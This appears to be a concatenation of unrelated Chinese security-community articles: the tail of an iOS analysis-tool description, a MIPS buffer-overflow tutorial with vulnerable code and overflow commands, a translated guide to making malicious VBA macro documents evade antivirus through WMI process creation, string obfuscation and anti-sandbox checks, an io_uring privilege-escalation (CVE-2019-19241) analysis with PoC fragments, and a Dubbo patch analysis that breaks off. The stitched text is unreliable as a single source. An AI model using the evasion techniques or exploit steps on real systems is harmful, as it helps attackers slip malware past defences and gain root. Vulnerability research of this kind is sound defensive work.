Passionfruit 通过 frida 注入代码到目标应用实现功能，再通过 node.js 服务端消息代理与浏览器通信，用户通过访问网页即可对 App
实现常规的检测任务。
#### 安装和使用
请访问 GitHub 上的项目主页
[chaitin/passionfruit](https://github.com/chaitin/passionfruit
"chaitin/passionfruit") 来获取最新的版本和更新信息。
Passionfruit 的编译和安装依赖如下软件：
* [THEOS](https://github.com/theos/theos "THEOS") 用于编译 Tweak 的 dylib
* [node.js](https://nodejs.org/en/ "node.js") 用于运行服务端。可根据个人喜好使用 yarn 或默认的 npm 作为包管理
* [libimobiledevice](https://github.com/libimobiledevice/libimobiledevice "libimobiledevice")
#### 安装步骤
1. 安装依赖项，并配置好 THEOS 的环境变量。Mac 下可使用 brew 安装 libimobiledevice
2. 在越狱 iOS 设备上安装 frida
3. 通过 git 将代码仓库同步到本地
4. 连接越狱设备，设置 THEOS_DEVICE_IP 和 THEOS_DEVICE_PORT
5. 第一次使用前，在代码根目录运行 npm run build 构建前端代码和 Tweak
6. 运行 npm start 运行服务端，在浏览器中访问 localhost:31337
#### 功能和演示
Passionfruit 最大特点就是基于 Web 的图形界面。因此你甚至可以在 iPad Pro
这样的移动设备上访问这个图形界面……（需要修改服务端监听的配置）
完全图形化的界面可以快速地找到需要 hook 的函数。由于 C 函数缺少运行时参数类型信息，因此对于这些库函数您需要手动设置一下函数原型。Objective
C 可以直接根据反射打印出参数和返回值。
其他工具实现的 checksec 是基于 otool
检查应用的可执行文件，需要在设备上安装额外的依赖，或将文件从设备中同步到本地执行命令。Passionfruit
直接分析内存中映射的内容，因此要快上很多。在文件查看方面，Passionfruit 直接读取应用沙盒内的 Plist、SQLite 数据库，相比先 scp
下载然后查看可以节约一些时间。
Passionfruit 在不少界面都添加了搜索功能，如模块列表、导出符号、Objective C 类，甚至 Plist 这样的序列化数据。
在 iOS 10 中有一个非公开 API UIDebuggingInformationOverlay 可用来在设备上分析界面层级，您可以在
Passionfruit 的 UIDump 面板中点击按钮来激活这个界面。
如果您有单步、界面分析等更高级的调试需求，建议还是使用 debugserver 等专门的调试工具。
#### FAQ
**需要越狱吗？**
需要。
虽然 frida 同时支持越狱和非越狱环境，但目前 Passionfruit 暂时只能在越狱设备上使用。原因是笔者一开始在处理 Mach-O
格式解析的时候偷懒没有移植到 javascript 的实现，直接在 tweak 模块里复用了 C 代码。如果有精力可以把这个模块使用 js 重写，或者将
dylib 重打包到 IPA 文件中来避免越狱。
**为什么不支持 NSLog 查看？**
本工具使用的界面是基于浏览器的，对于 NSLog 日志这种快速刷新的内容，实时展示会造成显著的性能问题。在现有工具（Xcode，macOS 自带的
Console，libimoviledevice 的 idevicesyslog 命令）足够强大的情况下，没有必要再开发一个（更难用的）了。
* * * | 社区文章 |
# MIPS缓冲区溢出学习实践
##### 译文声明
本文是翻译文章，文章原作者 Richard1230，文章来源：Richard1230
原文地址：<https://blog.csdn.net/richard1230/article/details/82191154>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前在学习家用路由器这本书以及看网上大佬写相关文章
的时候,总感觉有些关键细节一笔带过,有时候给我造成了很大的困扰,鉴于这个原因,我想到把自己的一些思考以及实际操作经验写出来给后来者,希望他们不要再走我走过的弯路。
## 引爆内存崩溃
首先看源代码:
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
将vuln_system.c 拷贝至对应目录下:
执行如下命令:
root@ricard-virtual-machine:~/my_file# /root/my_file/buildroot1/buildroot/output/host/bin/mips-linux-gcc vuln_system.c -static -o vuln_system
root@ricard-virtual-machine:~/my_file# python -c "print 'A'*600">passwd
root@ricard-virtual-machine:~/my_file# qemu-mips vuln_system
而后会出现错误:
程序引发了一段故障,使用如下命令重新执行:
root@ricard-virtual-machine:~/my_file# qemu-mips vuln_system `python -c "print 'A'*600"`
这里直接运行，发生崩溃就退出了;
加-g是等待调试的:
root@ricard-virtual-machine:~/my_file# qemu-mips -g 1234 ./vuln_system `python -c "print 'A'*600"`
执行完这条指令之后,使用IDA进行附加调试:
这里选择大端是因为这个文件是mips大端格式的;
附加之后,在IDA里面按F9键(书里面写的是F5,,这是错的!)可以看到程序在试图执行0x41414141的时候崩溃了,如下图所示:
这是因为0x41414141将原来的返回地址给覆盖了,程序在返回的时候返回的是0x41414141这个无效地址而不是原来的地址,故会崩溃.
## 劫持流程
### 计算偏移
通过阅读vuln_system.c的源码可以知道,main函数里面，在读取完passwd这个文件之后,将passwd文件里面的所有数据存入堆栈的局部变量buf里面,而buf的大小仅为256字节,而passwd文件有600字节大小的数据写入buf,导致了缓冲区溢出;
通过静态分析发现,如果要使缓冲区溢出,并控制到堆栈中的返回地址saved_ra,需要覆盖的数据大小应该达到0x1A0-0x04即0x19c字节;作者这里运用这个公式的依据是什么呢?让我们回顾一下X86架构下的情形:
偏移不就是找buf和ra之间的偏移么,ra是存储于栈里面的(有点类似于x86里面的ret指令),buf指向栈里面,只要计算出buf的初始位置和ra之间的偏移,就可以计算出有多少个字节就可以溢出到ra了！
### 寻找偏移
上图是主函数里面的一开始的部分,为了进一步分析出偏移,笔者将相关汇编指令誊写并注释如下:
addiu $sp, -0x1D0 //sp <==sp-0x1D0
sw $ra, 0x1D0+var_4($sp) //将ra里面的值存放于堆栈里面,其偏移值为0x1D0+var_4
sw $fp, 0x1D0+var_8($sp) //将fp里面的值存放于堆栈里面,其偏移为0x1D0+var_8
move $fp, $sp //fp<== sp
li $gp, 0x4291A0 //li指令:将一个立即数存放于寄存器里面
sw $gp, 0x1D0+var_1C0($sp) //将gp里面的值存放于堆栈里面,其偏移为0x1D0+var_1C0
addiu $v0, $fp, 0x1D0+var_1A0 //v0用于存放函数函数返回值
li $v0, 0x100 //将立即数0x100传入v0
move $a2, $v1 //MIPS架构中一般使用a0-a3作为函数的前4个参数
move $a1, $zero //zero寄存器里面永远为0
move $a0, $v0 //a0=v0
la $v0, memset //复制memset地址至至v0中
move $t9, $v0 //$t0-$t9供汇编程序使用的临时变量
bal memset //无条件转移,并且将转移指令后面的第二条地址作为返回值存放于Ra里面
nop
结合源代码看,可以发现主函数里面调用的第一个函数为memset函数,貌似源代码里面没有这个函数,怎么回事,继续看,发现在调用这个函数之前是调用了3个参数的,分别用到a0,a1,和a2这几个寄存器,(在MIPS架构里面,是用a0-a3这几个寄存器来传参的)，而函数memset的原型为`void*
memset(void* s,int ch,unsigned
n)`，其主要功能为:在内存空间里以s为起始的地方,将开始的n个字节设为指定值;可以发现传给a2的值为v1,而传给$v1的为0x100(0x100实际上就是十进制256),分析到这里,大家应该会清晰了吧,这里在做的事情其实是内存初始化,通过这个函数将内存里面的256个字节初始化为0,而这里的内存初始地址是通过指令`addiu
$v0,$fp,0x1D0+var_1A0`来确定的,显然,`0x1D0+var_1A0`就是我们要找的buf的起始偏移，到这里,我们才能确定:需要覆盖的数据大小应该为0x1D0+var_1A0-0x1D0-var_4即0x19c字节;
### 验证
root@ricard-virtual-machine:~/my_file# python -c "print 'A'*0x19c + 'BBBB'+'CCCC'">passwd
root@ricard-virtual-machine:~/my_file# qemu-mips -g 1234 vuln_system
输入指令之后,程序就会处于等待调试的状态; 而后利用IDA附加该进程(此过程在前面已经叙述过);
由于这里使用附加调试的效果不是太好,我这里使用的运行时调试的方法,读者可以参考这本书即可;
在主函数结尾的地方下断点,按F9运行程序,会在0x004006CC这个地址断下:
双击0x004006D0这行;来到返回地址在栈空间0x40800104(也可以利用SP+0x1D0+VAR_4得到)处,如下图 所示:
查看HEX VIEW-1窗口,发现返回地址已经被覆盖为0x42424242,如下图所示,此时缓冲区已经被输入的数据所覆盖,并且越界后覆盖了堆栈上的其他数据;
继续按F8键执行指令jr $ra,程序就会跳往0x42424242出执行,如下图所示:
## 小结
在这一节里面,主要学习的知识点是如何计算偏移达到覆盖返回地址的目的,这里总结出一个公式:
偏移=函数返回地址-缓冲区首地址;
(注:在堆栈中,一般函数返回地址处于高地址,缓冲区地址处于低地址),今天就暂时写到这里,后面有时间我会带来更多的分享. | 社区文章 |
原文：<https://medium.com/walmartlabs/evasive-vba-advanced-maldoc-techniques-1365e9373f80>
**简介**
* * *
在VBA中，创建进程的方法有很多，但每一种都有其优缺点。例如，如果使用Shell$、Shell或CreateObject(“WScript.Shell”).Run的变种创建进程的话，当显示这些进程时，会发现其父进程为office应用程序进程。在目标环境中，如果这种情况很少见的话，就很可能会引起用户的怀疑。
利用WMI创建进程的好处是，这些进程都是由wmiprvse.exe（WMI服务进程）创建的，除非WMI的活动正在被监视，否则防御者是不会将进程的创建与maldoc联系起来的。
**Shell$**
* * *
业务进程通常使用Shell$、Shell或CreateObject(“WScript.Shell”).Run的变体来运行reg.exe、ping.exe、cmd.exe和其他实用程序，从stdout读取信息或进行相应的修改，从而使进程能够得以运行。这种做法可能会给防御者带来麻烦，因为他们无法自动判断是否应该将办公产品的进程创建视为恶意行为，或是否应该阻止该行为。
无论您选择上述方法中的哪一种，创建powershell.exe进程的办公进程都是防御者始终密切观察的一个关键对象。因此，哪怕能够与它的关系远一步，也能显著降低被标识为恶意代码的可能性。例如，必要时可以调用cmd.exe/c
powershell.exe命令，而非直接调用powershell.exe命令。
**WMI**
* * *
使用Shell$创建进程的好处是，防御者很难确定其是否合法，但是，如果使用WMI来创建进程的话，则没有这方面的优势。因为业务进程很少会使用WMI来创建进程，所以，一旦发现这种情况，那就非常可疑。此外，使用WMI创建进程时，其明显的缺点在于，总是三个VBA元素，分别是GetObject()、Get()和.Create，通常可以将其用于嵌入式OLE文件的“签名”。
**以Empire为基准**
* * *
以下是借助默认的PowerShell Empire
VBA构建器，通过WMI创建进程的VBA代码。Empire是一个后续利用框架，提供了相应的恶意VBA宏构建器，以及各种其他功能。Empire代码中的变量名和字符串不仅会出现在文档的嵌入式OLE文件的P-Code部分中，同时，还会出现在压缩的VBA源代码中。其中，用于以Office
2007+文件格式存储VBA宏的默认嵌入式OLE文件是vbaProject.bin。由于其中的许多元素都是静态的，从而极大地减少了创建和检测签名的工作量。
含有使用默认Empire构建器的VBA代码的文档检出率。
ec4159c93ece699a4e381505321880cd329492cd1792ed8aaeeb6d23bfbe5daa
虽然利用Empire完成WMI进程创建的代码有点冗长，但这种方法也有其优点：WMI进程的创建可以在目标系统中“悄无声息”的进行（可以通过objConfig.ShowWindow=0来实现这个效果）。如果没有设置该属性的话，创建的进程会任务栏上短暂出现，所以，仍然有可能被发现。
如果选择更少的VBA代码，同时愿意承担由于进程在任务栏上短暂出现而被攻击目标发现的风险的话，WMI进程的创建完全可以通过一行代码来完成，具体如下所示。
在该示例中，以同样的方式创建了两个进程。在第二次创建进程时，VBA已经被化整为零，并进行了模糊处理。借助于StrReverse()，我们可以将字符串存储在VBA中的任何位置，并且不必以GetObject()所需的形式进行存储。请注意，GetObject()、.Get()
和.Create仍然会出现，所以，防御者仍然可以借助它们来完成相应的检测工作。
在这种情况下，未定义的变量可以用作Null，从而减少了可以用来确定正在运行哪些方法的线索的数量。
即使是这种简单的混淆处理，也忽悠了4种AV软件，如果进一步反转字符串的话，甚至能够绕过7种防病毒软件的检测：
e3987c7a322c52ba095bdad9feced318e9098b380717df8595cc046034c3922b
e9d02b2ed484cd1c944dc553a342e3166ce080205beb19d8132352beede8524c
**有效载荷的混淆和重组**
* * *
对于混淆技术来说，上面的StrReverse()是很好的一个例子，但这是一种众所周知的方法，很容易被检测出来。在防御者那里，有些混淆技术是重点怀疑对象，而另一些则不然。此外，对有效载荷进行何种程度的模糊处理和重组处理，在很大程度上取决于其大小。
我们的目标是，引入的代码要尽可能少，同时，力求有效载荷的表示形式更加难以被检测。
**有效载荷的大小至关重要**
* * *
尺寸较小的有效载荷，通常无需太多的重组处理（即使需要的话）。在定义变量时，VBA的最大字符串长度为1024，因此，如果混淆过的有效载荷的长度大于该值，则可能需要借助字符串连接操作进行重组。
字符串连接可以提高AV的检出率，因为这种操作常见于像Emotet之类的maldoc活动中。
Emotet在创建进程之前重新组装有效载荷
使用构建器支持更大有效载荷的好处是，能使第二阶段的攻击更加强大。
无论有效载荷是大是小，通过对有效载荷进行混淆处理而实现非标准编码或加密，并尽可能少地使用字符串操纵函数，就能够显著降低被静态分析和AV软件检出的可能性。
需要避免大量使用的函数包括Left()、Right()、Mid()、Chr()、ChrW()等，严格来说，凡事与字符串操作或字符解码有关的函数，都应该尽量少用。对于某些简单的去混淆方法，例如“Chr(115)
+ Chr(116) + Chr(117)”，由于在各种maldoc过程中会经常用到，因此，很容易被检出。
就本例来说，由于我们使用的有效载荷非常小，所以，完全可以将其放到一行代码中，因此，完全不必进行重新组装。
对于ASCII的解码工作，是通过一组函数来完成的，而这些函数都是通过各个月份和工作日的名称来进行命名的，这使得它们非常难以指纹化。
为了浏览存储的有效载荷并对其进行解码，我们提供了一个函数June，而它就用到了上述函数。
为了尽可能地隐藏我们的意图，我们对所有的字符串都进行了编码处理，而June就是用于解码的。在创建进程的时候，由于我们是使用未初始化的变量来表示Null和0值的，因此，用于查找WMI进程创建参数的签名通常很难奏效。
经过上述处理之后，我们的代码仍会被7种防病毒软件检出，虽然看上去没有任何改进，实则不然——我们的代码更有弹性了，换句话说，可以添加任意数量的有效载荷，但是检出率并没有上升。
在这个示例中，我们通过Rot9方式对字符串进行了模糊处理。这仅需要对VBA代码进行字面上的处理即可。现在，我们的字符串是很难通过字面来了解其含义，不仅无法在仿真或沙箱环境中使用，而且也无法利用签名来查找特定的有效载荷字符串。但是，这里的VBA代码的结构仍然可以用于签名，不过，由于我们使用的大部分内容都存在于实际业务进程的VBA中，因此，我们的代码已经变得更有弹性。
就本例来说，为了对输入到VBA中的ASCII码进行Rot9处理，我们可以通过一个简短的PowerShell脚本来完成这项任务。ASCII码总是使用3位数表示，这不仅便于解码，同时，我们也不必将有效载荷存储到一个数组中，这样的话，就不会因为数组太大而引起怀疑了。
**Anti-Sandbox（离线）与Anti-FakeNet功能**
* * *
我们可以利用VBA实现沙箱检测功能以防止代码在沙箱环境中执行，重要的是，这并不会显著提高被AV检出的可能性。
实际上，`https://github.com/joesecurity/pafishmacro`页面是一个启发灵感的好地方，但我不建议原封不动的照搬这里的解决方案。我们希望通过WMI来摆脱与WINWORD.EXE进程相关的各种行为，为此，可以使用WMI方法Win32_PingStatus来绕过沙箱和FakeNet。这样的话，wmiprvse.exe就会成为与DNS和ICMP流量相关的进程，相反，如果流量来自WINWORD.EXE进程的话，那就可能引起人们的怀疑。
第一项检查，是看看能否解析location.microsoft.com。如果它可以解析，或者我们可以ping主机的话，说明当前位于FakeNet中——因为location.microsoft.com是一个根本不存在的域。
第二项检查，是看看环境变量userdomain和computername的值是否相同。如果相同的话，则说明该系统未加入域。
只有当两者都返回True时，我们才会继续运行有效载荷。事实证明，上述方法能够绕过自动化的沙箱系统，并且在基于沙箱的行为报告中，该样本也能够撇清与ICMP和DNS流量之间的瓜葛。
如果同时使用上一节中的方法来混淆字符串的话，该样本的检出率会降至3。
badbf30a710a65e12bb0dad3b92d6a1938466cc6eca6110d63e909f305a824f1
总之，如果您希望降低VBA的检出率的话，应该：
•避免直接使用来自攻击模拟框架中的代码（安全公司喜欢从这些代码中提取指纹）
•对于静态分析期间可见的有效载荷，可以进行非标准加密或编码处理
•如果需要使用某些（例如Chr()等）函数，但是又不想引起怀疑的话，最好将其化整为零
构建高质量的VBA代码非常重要，为此，我们还有许多工作要做。在下一篇文章中，我们将继续为读者介绍其他混淆技术，以及相关的Office内部运行机制，从而最大限度地降低AntiVirus产品的检出率。 | 社区文章 |
# linux "io_uring" 提权漏洞(CVE-2019-19241)分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
“io_uring” 是Linux在5.1版本开始添加的异步IO机制，5.3 版本的内核添加了sendmsg的支持，没有考虑到权限的问题，可能导致权限提升。
## 前置知识
### IO_uring 简介
io_uring
可以参考[这篇文章](//www.byteisland.com/io_uring%EF%BC%881%EF%BC%89-%E6%88%91%E4%BB%AC%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E9%9C%80%E8%A6%81-io_uring/)),
写的很不错， Linux 上的异步IO的实现一直是一个问题，aio和epoll等都存在各种各样的不足，在Linux 5.1
版本中引入了一个新的异步IO框架`io_uring`
主要的代码在下面几个文件
[fs/io_uring.c](https://elixir.bootlin.com/linux/v5.4/source/include/uapi/linux/io_uring.h)
[fs/io-wq.c](https://elixir.bootlin.com/linux/v5.4/source/fs/io-wq.c)
[fs/io_uring.c](https://elixir.bootlin.com/linux/v5.4/source/fs/io_uring.c)
添加了三个新的[系统调用](https://elixir.bootlin.com/linux/v5.4/source/include/linux/syscalls.h#L317)
425 io_uring_setup
426 io_uring_enter
427 io_uring_register
`io_uring_setup` 会返回一个文件描述符`fd`, 后续都是用这个fd来做操作。
io_uring 涉及几个内存，盗一张图:
用户提交数据到`sq_ring`,然后内核处理完成之后，会把完成的状态写入到 `cq_ring`里面，用户在`cq_ring`就可以找到io的完成状态。
## poc 分析
漏洞是在[`commit 0fa03c624d8f ("io_uring: add support for sendmsg()", first in
v5.3)`](https://github.com/torvalds/linux/commit/0fa03c624d8fc9932d0f27c39a9deca6a37e0e17)引入的，它添加了一个
`io_sendmsg` 方法， 对应的opcode 是`IORING_OP_SENDMSG 9`
我们拷贝一下[Jannh的poc](//bugs.chromium.org/p/project-zero/issues/detail?id=1975&sort=-id%20-reported&q=finder%3Djannh&can=1)),
我的测试环境是在ubuntu 1804 上，测试内核用 linux 5.4 版本。
编译的时候可能会报错,可能是找不到系统调用号，在poc开始添加下面两行。把linux的`include/uapi/linux/io_uring.h`文件拷贝过来，然后把`#include
<linux/io_uring.h>` 换成`#include "io_uring.h"` 就可以了
#define SYS_io_uring_setup 425
#define SYS_io_uring_enter 426
poc 运行之后会添加一个inet 地址，这个是需要root权限才能操作的。
首先调用`io_uring_enter`创建一个fd, 并把内存映射好
struct io_uring_params params = { }; int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms)); unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING)); unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING)); sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
然后用 userfaultfd 监听 `iov` 这一块内存
iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = { .start = (unsigned long)iov, .len = 0x1000 }
};
它会在 内存被读写的时候吧opcode改成`IORING_OP_SENDMSG`(9)
static void *uffd_thread(void *dummy) {
struct uffd_msg msg;
int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
if (res != sizeof(msg)) errx(1, "uffd read");
printf("got userfaultfd messagen");
sqes[0].opcode = IORING_OP_SENDMSG;
union {
struct iovec iov;
char pad[0x1000];
} vec = {
.iov = real_iov
};
struct uffdio_copy copy = {
.dst = (unsigned long)iov,
.src = (unsigned long)&vec,
.len = 0x1000
};
SYSCHK(ioctl(uffd, UFFDIO_COPY, ©));
return NULL;
}
然后创建了一个netlink 的socket，用来对netlink路由做操作，传入的opcode是`IORING_OP_RECVMSG` (10),
调用`SYS_io_uring_enter` 提交到submission queue
int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE));
sqes[0] = (struct io_uring_sqe) {
.opcode = IORING_OP_RECVMSG,
.fd = sock,
.addr = (unsigned long)&msg
};
int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
okay 我们跟一下代码，看看具体发生了什么,`SYS_io_uring_setup` 主要是创建io_uring的fd，可以先不看。
主要看`SYS_io_uring_enter`系统调用，内核中函数实现是[`io_uring_enter`](https://elixir.bootlin.com/linux/v5.4/source/fs/io_uring.c#L3651)，我们设置了`to_submit=1`以及`flags=IORING_ENTER_GETEVENTS`,
会进入下面两个判断
} else if (to_submit) {
to_submit = min(to_submit, ctx->sq_entries);
mutex_lock(&ctx->uring_lock);
submitted = io_ring_submit(ctx, to_submit);
mutex_unlock(&ctx->uring_lock);
}
if (flags & IORING_ENTER_GETEVENTS) {
unsigned nr_events = 0;
min_complete = min(min_complete, ctx->cq_entries);
if (ctx->flags & IORING_SETUP_IOPOLL) {
ret = io_iopoll_check(ctx, &nr_events, min_complete);
} else {
ret = io_cqring_wait(ctx, min_complete, sig, sigsz);
}
}
``IORING_ENTER_GETEVENTS`主要是获取完成的状态写入`cq_ring`，主要看`io_ring_submit` 函数，它调用链如下
io_ring_submit
- io_submit_sqe
- io_queue_sqe
- __io_queue_sqe
- __io_submit_sqe
- io_sq_wq_submit_work
进入`__io_queue_sqe` 会调用`__io_submit_sqe`
static int __io_queue_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
struct sqe_submit *s)
{
int ret;
ret = __io_submit_sqe(ctx, req, s, true);
`__io_submit_sqe` 根据不同的opcode选择不同的执行路径,因为我们一开始传入的是`IORING_OP_RECVMSG`
所以会进入`io_recvmsg` 函数, `force_nonblock` 是设置成true
static int __io_submit_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
const struct sqe_submit *s, bool force_nonblock)
//...
case IORING_OP_SENDMSG:
ret = io_sendmsg(req, s->sqe, force_nonblock);
break;
case IORING_OP_RECVMSG:
ret = io_recvmsg(req, s->sqe, force_nonblock);
break;
`io_recvmsg`调用链如下
io_recvmsg
- io_send_recvmsg
- __sys_recvmsg_sock
- ___sys_recvmsg
首先是`io_send_recvmsg`,因为`force_nonblock`为true,
flags会加上`MSG_DONTWAIT`标识，接着调用`__sys_recvmsg_sock`
if (unlikely(req->ctx->flags & IORING_SETUP_IOPOLL))
return -EINVAL;
sock = sock_from_file(req->file, &ret);
if (sock) {
struct user_msghdr __user *msg;
unsigned flags;
flags = READ_ONCE(sqe->msg_flags);
if (flags & MSG_DONTWAIT)
req->flags |= REQ_F_NOWAIT;
else if (force_nonblock)
flags |= MSG_DONTWAIT;//<--
msg = (struct user_msghdr __user *) (unsigned long)
READ_ONCE(sqe->addr);
ret = fn(sock, msg, flags);
`___sys_recvmsg`是在用户进程上下文调用的，函数执行过程中会获取userfaultfd 绑定的`iov`内存的内容,
这个时候opcode就被改成了`IORING_OP_SENDMSG` 了，函数继续执行
/* kernel mode address */
struct sockaddr_storage addr;
/* user mode address pointers */
struct sockaddr __user *uaddr;
int __user *uaddr_len = COMPAT_NAMELEN(msg);
msg_sys->msg_name = &addr;
if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, &uaddr, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); //<-------iov 读取
if (err < 0)
return err;
//.....
if (sock->file->f_flags & O_NONBLOCK)
flags |= MSG_DONTWAIT;
err = (nosec ? sock_recvmsg_nosec : sock_recvmsg)(sock, msg_sys, flags);
if (err < 0)
goto out_freeiov;
len = err;
因为recvmsg 并没有设置要非阻塞，函数返回到`__io_queue_sqe` 之后会继续执行，进入下面判断
*/
if (ret == -EAGAIN && (!(req->flags & REQ_F_NOWAIT) ||
(req->flags & REQ_F_MUST_PUNT))) {
struct io_uring_sqe *sqe_copy;
sqe_copy = kmemdup(s->sqe, sizeof(*sqe_copy), GFP_KERNEL);
if (sqe_copy) {
struct async_list *list;
s->sqe = sqe_copy;
memcpy(&req->submit, s, sizeof(*s));
list = io_async_list_from_sqe(ctx, s->sqe);
if (!io_add_to_prev_work(list, req)) {
if (list)
atomic_inc(&list->cnt);
INIT_WORK(&req->work, io_sq_wq_submit_work);
io_queue_async_work(ctx, req);
}
return 0;
}
它启动一个内核线程，函数实现在`io_sq_wq_submit_work`里，这里会再次调用`__io_submit_sqe`
函数，设置`force_nonblock`为false, 需要注意这里是处在内核线程的上下文中，对应的是root权限
do {
struct sqe_submit *s = &req->submit;
const struct io_uring_sqe *sqe = s->sqe;
unsigned int flags = req->flags;
/* Ensure we clear previously set non-block flag */
req->rw.ki_flags &= ~IOCB_NOWAIT;
ret = 0;
if (io_sqe_needs_user(sqe) && !cur_mm) {
if (!mmget_not_zero(ctx->sqo_mm)) {
ret = -EFAULT;
} else {
cur_mm = ctx->sqo_mm;
use_mm(cur_mm);
old_fs = get_fs();
set_fs(USER_DS);
}
}
if (!ret) {
s->has_user = cur_mm != NULL;
s->needs_lock = true;
do {
ret = __io_submit_sqe(ctx, req, s, false);
if (ret != -EAGAIN)
break;
cond_resched();
} while (1);
因为之前opcode已经被改成`IORING_OP_SENDMSG`,
所以这一次在内核线程调用`io_sendmsg`,因为我们的socket是`AF_NETLINK`类型，和`io_recvmsg`类似，会调用`___sys_sendmsg`，然后根据`sock->ops->sendmsg`来调用`AF_NETLINK`相关的函数
if (used_address && msg_sys->msg_name &&
used_address->name_len == msg_sys->msg_namelen &&
!memcmp(&used_address->name, msg_sys->msg_name,
used_address->name_len)) {
err = sock_sendmsg_nosec(sock, msg_sys);
goto out_freectl;
}
err = sock_sendmsg(sock, msg_sys);
//...........
static inline int sock_sendmsg_nosec(struct socket *sock, struct msghdr *msg)
{
int ret = INDIRECT_CALL_INET(sock->ops->sendmsg, inet6_sendmsg,
inet_sendmsg, sock, msg,
msg_data_left(msg));
BUG_ON(ret == -EIOCBQUEUED);
return ret;
}
具体的`sock->ops` 如下，最后会调用`netlink_sendmsg`
`netlink_sendmsg`在[`net/netlink/af_netlink.c`](https://elixir.bootlin.com/linux/v5.4/source/net/netlink/af_netlink.c#L1842)
中, 因为我们传进去的`msg_namelen` 不为0，所以会进入下面的判断
if (msg->msg_namelen) {
err = -EINVAL;
if (msg->msg_namelen < sizeof(struct sockaddr_nl))
goto out;
if (addr->nl_family != AF_NETLINK)
goto out;
dst_portid = addr->nl_pid;
dst_group = ffs(addr->nl_groups);
err = -EPERM;
if ((dst_group || dst_portid) &&
!netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_portid = nlk->dst_portid;
在`netlink_allowed`
函数做权限的校验，因为这里是内核线程的上下文，所以默认是root权限，可以通过检查，于是就到了我们一开始的添加一个inet ip 的部分了。
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
return (nl_table[sock->sk->sk_protocol].flags & flag) ||
ns_capable(sock_net(sock->sk)->user_ns, CAP_NET_ADMIN);
}
整理一下
* 1) `io_uring_enter` 调用 `io_recvmsg`
* 2) 触发 `userfaultfd` 更改 opcode 为`IORING_OP_SENDMSG`
* 3) `io_recvmsg` 失败，`__io_submit_sqe` 启动内核线程`io_sq_wq_submit_work`
* 4) 内核线程调用`io_sendmsg`, 执行netlink 操作(root 权限)
## 总结
整体来看这个漏洞还是比较简单的，就是注意权限的管理就行。”io_uring”
Linux的一个新生的异步io框架，目前还是在不断的发展中的，版本之间的代码都会做很多的更改，这也可能可以作为后续漏洞研究的点。
## reference
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1959>
<https://www.byteisland.com/io_uring%EF%BC%881%EF%BC%89-%E6%88%91%E4%BB%AC%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E9%9C%80%E8%A6%81-io_uring/>)
<https://zhuanlan.zhihu.com/p/62682475> | 社区文章 |
**作者：腾讯安全云鼎实验室
公众号：<https://mp.weixin.qq.com/s/jKM-Z2BTFfk_Ro1rJAxg5w>**
北京时间2020-6-22日Apache官方发布了Dubbo
2.7.7版本，其中修复了一个严重的远程代码执行漏洞（CVE-2020-1948），这个漏洞是由腾讯安全玄武实验室的ruilin提交，该漏洞允许攻击者使用任意的服务名和方法名发送RPC请求，同时将恶意序列化参数作为有效载荷，当恶意序列化的参数被反序列化时将执行恶意代码。该漏洞与
CVE-2017-3241 RMI反序列化漏洞有点类似，都是在远程调用过程中通过方法参数传入恶意序列化对象，服务端在解析参数进行反序列化时触发。Dubbo
Github Star数量32.8k，知名度不亚于fastjson，被大量企业使用，包括一些知名互联公司，漏洞影响十分广泛。
### 补丁分析
从补丁对比文件来看，在DecodeableRpcInvocation.java文件133-135行增加了对Method方法进行验证，如果验证不通过则抛出非法参数异常终止程序运行，核心代码代码如下:
if (!RpcUtils.isGenericCall(path, this.getMethodName())
&& !RpcUtils.isEcho(path, this.getMethodName()))
{throw new IllegalArgumentException
("Service not found:" + path + ", " + this.getMethodName());}
跟进isGenericCall和isEcho方法，发现验证逻辑十分简单，如果method等于`$invoke`、`$invokeAsync`或者`$echo`则返回true。不得不说此处站在开发角度思考是没问题的，非Dubbo自带service中的`$invoke`、`$invokeAsync`、`$echo`方法以外，其他函数名全部抛出异常，但是万万没想到RPC调用过程中方法名是用户可控的，所以攻击者可轻易的将method设置为其中任意一个方法来绕过此处限制。
public static boolean isGenericCall(String path, String method)
{return "$invoke".equals(method) || "$invokeAsync".equals(method);}
